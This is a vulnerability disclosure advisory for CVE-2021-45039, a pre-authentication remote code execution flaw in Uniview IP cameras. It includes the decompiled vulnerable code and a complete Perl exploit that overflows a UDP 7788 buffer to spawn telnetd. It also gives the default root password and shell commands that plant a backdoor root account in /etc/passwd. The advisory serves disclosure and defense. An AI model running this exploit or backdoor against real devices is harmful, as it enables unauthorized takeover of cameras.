# SSD Advisory - Uniview PreAuth RCE
January 12, 2022 [SSD Disclosure / Technical Lead](https://ssd-
disclosure.com/author/noamr/ "Posts by SSD Disclosure / Technical Lead")
[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
Find out how a vulnerability in multiple Uniview devices allow remote
unauthenticated attackers to trigger a remote code execution vulnerability in
the products the company offers.
**Vulnerability Summary**
A vulnerability in Uniview proprietary protocol listening on UDP port 7788
allows remote unauthenticated attackers to overflow an internal buffer used by
the product. By exploiting the vulnerability a remote attackers to gain root
access to the device.
**CVE**
CVE-2021-45039
****Credit****
An independent security researcher has reported this bypass to the SSD Secure
Disclosure program.
**Affected Versions**
* Multiple models of the vendor IPC_G61 / IPC21 / IPC23 / IPC32 / IPC36 / IPC62 / IPC_HCMN / SC-31 / SC-37 / SC-20 / SC-26
* The full affected models list can be found at <https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm>
**Vendor Response**
The vendor has issued a an advisory:
https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm
**Vulnerability Analysis**
Using `unpack`, `binwalk` and `ubidump` and the firmware from
<http://en.ezcloud.uniview.com/version/IPC/IPC_G6103/GIPC-B6103.16.10.B25.201218/GIPC-B6103.16.10.B25.201218.zip>,
you can see that `/program/bin/maintain` listens on UDP port 7788.
If you load `/program/bin/maintain` in Ghidra you can find a in
`FUN_00013074`,
case 10:
if ((int)(local_27 - 2) < 0x41) {
if ((local_20 & 0x400) == 0) {
local_34 = __isoc99_sscanf(param_3 + local_1c + 2, "%[^:]:%hu", auStack336, &local_3a); // bug here
To reach the vulnerable location and redirect execution you will need to
implement the custom TLV-based protocol this code uses.
The exploit found below will smash stack and spawn telnetd on the camera, you
can then telnet in as `root/123456` (password for telnetd is not changed when
changing in web UI).
You will land in a restricted shell (uvsh), to break out of the restricted
shell, `ECHO` command in uvsh allows file writes but only inside `/tmp` can
overwrite `/tmp/bin/killwatchdog.sh`, this script gets called from
`/program/bin/reboot.sh` when executing `update -tftp / all` from the uvsh:
`ECHO -e "#!/bin/sh\necho toot:dIkAjCy0Zma2s:0:0::/root:/bin/sh >>
/etc/passwd\nmv /sbin/reboot /sbin/reboot.org\n" > /tmp/bin/killwatchdog.sh`
`uvsh> update -tftp / all`
`wait for "/tmp/bin/reboot.sh: line 28: reboot: not found"`
**Exploit**
```
# exploit for uniview maintain daemon
use IO::Socket;
use strict;
my $bla;
my $sock = IO::Socket::INET->new(
Proto => 'udp',
PeerPort => 7788,
PeerAddr => '192.168.0.153',
) or die "Could not create socket: $!\n";
binmode($sock);
# packet is [opcode] [unknown] [2 bytes for length, with itself included] ["stuff"] meaning my packet payload
my $opcode = "\x07" ; # not important
my $unk = "\x01" ; # not important
my $payload = $opcode . $unk;
# below address is for system("telnetd &");
my $stuff = "AAAABBBB" . pack("l",0x00013a58) . "DDDD" . # these 20 bytes are used for the authentication flow, not relevant in this scenario
"\x0a"; # vuln tlv
# first char below is actually the length of the tlv (length not used here), must be < 0x43 to trigger bug
$stuff .= "\x42";
$stuff .= "E" x 328; # 328 bytes of filler
my $r11 = pack("l",0x43434343); # r11 not important
$stuff .= $r11 .
pack("l",0x0001b86c); # 0x0001b86c: pop {r4, r5, r6, r7, r8, sb, sl, pc};, actual pc is defined in $stuff above
my $packet = $payload . pack("n",length($payload . $stuff)+2) . $stuff; # pad length of payload to include payload field
print "length of pkt " . int(length($payload . $stuff)+2) . "\n";
print $sock $packet;
$sock->close;
```
暂无评论